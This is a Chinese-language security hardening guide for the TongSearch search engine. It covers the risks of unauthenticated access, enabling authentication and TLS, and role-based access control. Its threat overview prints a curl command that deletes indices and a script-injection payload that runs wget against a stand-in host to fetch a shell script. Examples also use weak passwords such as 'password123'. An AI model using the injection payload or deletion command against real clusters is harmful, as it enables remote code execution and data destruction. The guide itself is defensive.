TongSearch安全基础防护

目录

安全概述

简介

常见安全问题分类

风险评估

 启用身份认证

启用安全功能

重启 TongSearch 服务

验证身份认证是否启用

创建新用户与角色

小结

基于角色的访问控制(RBAC)

RBAC 基础概念

​​​​​​​创建和配置角色

​​​​​​​创建用户并分配角色

​​​​​​​​​​​​​​角色权限控制

​​​​​​​基于角色的访问控制细粒度配置

​​​​​​​最佳实践

小结


安全概述

简介

        TongSearch 作为分布式搜索与分析引擎,应用于日志检索、全文搜索、大数据分析、指标监控等多种场景。然而,由于其天然面向 HTTP 的开放性和“开箱即用”的特性,在部署时容易忽视了安全配置,导致遭受数据泄露或勒索攻击。

常见安全问题分类

下面我们将对 TongSearch 在实际使用中常见的几类安全问题进行概述。

1.未授权访问(Unauthenticated Access)

TongSearch 默认监听 9200 端口,且在未配置任何认证机制时,对外开放所有 REST API。这意味着任何人都可以发送如下请求:

​curl http://:9200/_cat/indices?v

TongSearch安全基础防护_第1张图片

即可列出所有索引数据。如果进一步发送:

curl -XDELETE http://:9200/index-name

甚至可以直接删除整个索引。

2.敏感信息泄露

TongSearch 中可能包含如下敏感信息:

  1. 用户行为日志(如登录、搜索关键词)
  2. 系统运行指标(如 JVM 状态)
  3. 应用原始数据(如用户评论、交易信息)
  4. 密码哈希值(如用户表索引中的字段)

一旦暴露,攻击者可以通过 _search 请求下载全部数据,无需任何认证。

3.集群节点被接管

TongSearch 支持多个节点组成集群。如果未对内部通信进行 TLS 加密与认证,攻击者可以伪造节点加入集群,实现如下攻击

  1. 篡改主节点选举
  2. 注入恶意插件或脚本
  3. 截获集群元数据和传输数据

这种攻击在大型集群中影响极其严重,属于高级威胁范畴。

4.脚本执行漏洞

TongSearch 如果开启脚本功能(如 Groovy),攻击者可构造恶意 DSL 请求执行任意脚本,例如:

"script": {

  "inline": "java.lang.Runtime.getRuntime().exec('wget http://evial.com/x.sh')"

}

如果没有安全控制,开启脚本支持,也存在极大风险。

风险评估

风险类别

典型漏洞

风险等级

可能后果

未认证访问

开放 REST API

数据被读取或删除

网络明文传输

未启用 HTTPS/TLS

中间人攻击

集群通信漏洞

Transport 未加密

节点被劫持

权限缺失

未启用 RBAC

敏感数据越权访问

恶意脚本执行

动态脚本注入漏洞

远程命令执行

 启用身份认证

        在 TongSearch 中启用身份认证机制是构建安全体系的第一步。TongSearch中内置基础安全功能(Basic License),包括用户名密码认证、基于角色的访问控制(RBAC)等。在本节中,我们将重点介绍如何开启并验证最基础的用户名密码认证功能。

启用安全功能

编辑 tongsearch.yml 文件,添加如下配置项:

xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

TongSearch安全基础防护_第2张图片

这两项设置开启身份认证与节点通信加密功能。

重启 TongSearch 服务

配置修改后需重启服务:

首次启用认证时,TongSearch 会自动生成内置用户的初始密码。请查看终端输出内容

​​​​​​​验证身份认证是否启用

通过 curl 测试时添加 -u 参数:

curl -u tongsearch:KZqfY8iTPbq0Xz3Y6FhA http://localhost:9200

若返回如下内容说明认证成功:

TongSearch安全基础防护_第3张图片

如不添加 -u,服务器将返回 HTTP 401 Unauthorized。

{
  "error": {
    "root_cause": [
      {
        "type": "security_exception",
        "reason": "missing authentication credentials for REST request [/]",
        "header": {
          "WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
        }
      }
    ],
    "type": "security_exception",
    "reason": "missing authentication credentials for REST request [/]",
    "header": {
      "WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
    }
  },
  "status": 401
}

​​​​​​​创建新用户与角色

创建角色文件:

编辑 config/roles.yml 添加:

read_role:
  cluster: [ "monitor" ]
  indices:
    - names: [ "*" ]
      privileges: [ "read" ]

TongSearch 提供 `tongsearch-users` 命令行工具:

创建用户:

./bin/tongsearch-users useradd logreader -p password123 -r read_role

​​​​​​​小结

本节介绍了如何在 TongSearch 中启用基础身份认证、生成初始密码并验证登录。该机制是所有后续安全功能的基础,如基于角色的访问控制、字段级访问控制、LDAP/AD 集成等都依赖于身份认证机制的正确开启。

基于角色的访问控制(RBAC)

        在 TongSearch 中,基于角色的访问控制(RBAC)是确保集群和数据安全的重要功能。RBAC 通过为用户和服务分配不同的角色,来精确控制其对资源的访问权限。通过细粒度的权限管理,可以有效减少不必要的权限暴露,保护关键数据和服务不受滥用。在本节中,我们将介绍如何配置和使用 RBAC 来增强 TongSearch 的安全性。

​​​​​​​RBAC 基础概念

RBAC 的核心思想是将权限与角色绑定,再将角色分配给用户。每个角色拥有一组权限,这些权限定义了用户能够执行的操作和访问的资源。在 TongSearch 中,RBAC 主要分为两部分:

角色(Role):角色定义了用户所拥有的权限。权限可分为集群权限和索引权限。集群权限定义了对集群的管理权限,如查看集群状态、管理节点等;索引权限定义了对特定索引的访问权限,包括读取、写入、删除等。

用户(User):用户是实际执行操作的实体。用户根据其所分配的角色,获得相应的权限。每个用户可以拥有多个角色,角色中的权限会叠加到用户身上。

​​​​​​​创建和配置角色

TongSearch 中,角色配置通过 roles.yml 文件或使用 REST API 进行。下面我们介绍通过 roles.yml 配置角色的基本方式:

1、集群级别权限:集群权限控制了用户对集群的管理权限。常见的集群权限有 monitor(查看集群状态)、manage(管理集群设置)等。

monitor_role:

  cluster: [ "monitor" ]

该角色仅允许查看集群状态,不能修改集群配置。

2、索引级别权限:索引权限控制了用户对索引数据的访问。常见的索引权限有 read(读取数据)、write(写入数据)、delete(删除数据)等。

read_logs_role:

  cluster: [ "monitor" ]

  indices:

    - names: [ "logs-*", "error-*"]

      privileges: [ "read" ]

该角色允许用户读取 logs-* 和 error-* 开头的索引,但无法执行其他操作。

3、综合权限配置:除了集群权限和索引权限外,角色还可以包含如 index、delete、create 等权限。通过组合不同的权限,可以创建符合业务需求的角色。

admin_role:

  cluster: [ "all" ]

  indices:

    - names: [ "*" ]

      privileges: [ "all" ]

此角色授予用户对所有索引的完全权限(包括删除、创建等),适合管理员使用。

​​​​​​​创建用户并分配角色

在配置角色后,需要将角色分配给实际的用户。可以通过 tongsearch-users 工具来创建用户,并使用 -r 参数将角色赋给用户。例如:

./bin/tongsearch-users useradd alice -p password123 -r monitor_role

此命令创建了一个用户名为 alice 的用户,并为其分配了 monitor_role 角色。

查看用户角色:可以使用以下命令查看某个用户的角色信息:

./bin/tongsearch-users roles alice

​​​​​​​​​​​​​​角色权限控制

在实际的生产环境中,RBAC 会帮助企业满足细粒度的权限控制需求,确保每个用户仅能访问其职责范围内的数据。以下是几个常见的 RBAC 配置实例:

1、只读角色:只允许用户读取日志数据,无法进行修改或删除。

log_reader_role:

  cluster: [ "monitor" ]

  indices:

    - names: [ "logs-*"]

      privileges: [ "read" ]

2、索引管理角色:允许用户对某些特定索引执行管理操作,如创建、删除索引等。

index_admin_role:

  cluster: [ "manage" ]

  indices:

    - names: [ "logs-*", "metrics-*"]

      privileges: [ "create", "delete" ]

3、日志分析角色:允许用户读取数据并进行查询分析。

log_analyst_role:

  cluster: [ "monitor" ]

  indices:

    - names: [ "logs-*", "error-*"]

      privileges: [ "read", "search" ]

​​​​​​​基于角色的访问控制细粒度配置

TongSearch 还支持更加精细的权限控制,例如:

1、文档级别安全性(DLS):通过设置查询条件,限制用户访问特定文档。用户只能看到符合条件的文档。例如,限制用户只查看与其相关的日志数据:

dls_role:

  cluster: [ "monitor" ]

  indices:

    - names: [ "logs-*"]

      privileges: [ "read" ]

      query: '{"term": {"user_id": "alice"}}'

2、字段级别安全性(FLS):限制用户对索引中特定字段的访问。例如,用户可以查看日志内容,但不能查看包含敏感信息的 password 字段:

fls_role:

  cluster: [ "monitor" ]

  indices:

    - names: [ "logs-*"]

      privileges: [ "read" ]

      fields: [ "message", "timestamp" ]

​​​​​​​最佳实践

  1. ·遵循最小权限原则:确保每个用户只获得其完成工作所需的最少权限。
  2. 定期审计角色和权限配置:定期审查角色和权限配置,确保不再需要的权限被及时移除。
  3. 避免过度授权:特别是对于敏感数据,避免给不必要的用户授予过多权限。
  4. ​​​​​​​为每个角色定义清晰的职责:每个角色应明确其职责和权限范围,以便于管理和审计。​​

小结

RBAC 在 TongSearch 中是实现精细化权限控制的重要工具。通过合理配置角色和用户,管理员可以对不同的用户、服务和应用进行灵活的权限管理,从而提高系统的安全性。在本节中,我们学习了如何创建和分配角色,如何通过细粒度控制访问权限。正确理解和配置 RBAC 是确保 TongSearch 集群安全的基础之一。

你可能感兴趣的:(TongSearch安全,安全,TongSearch,东方通)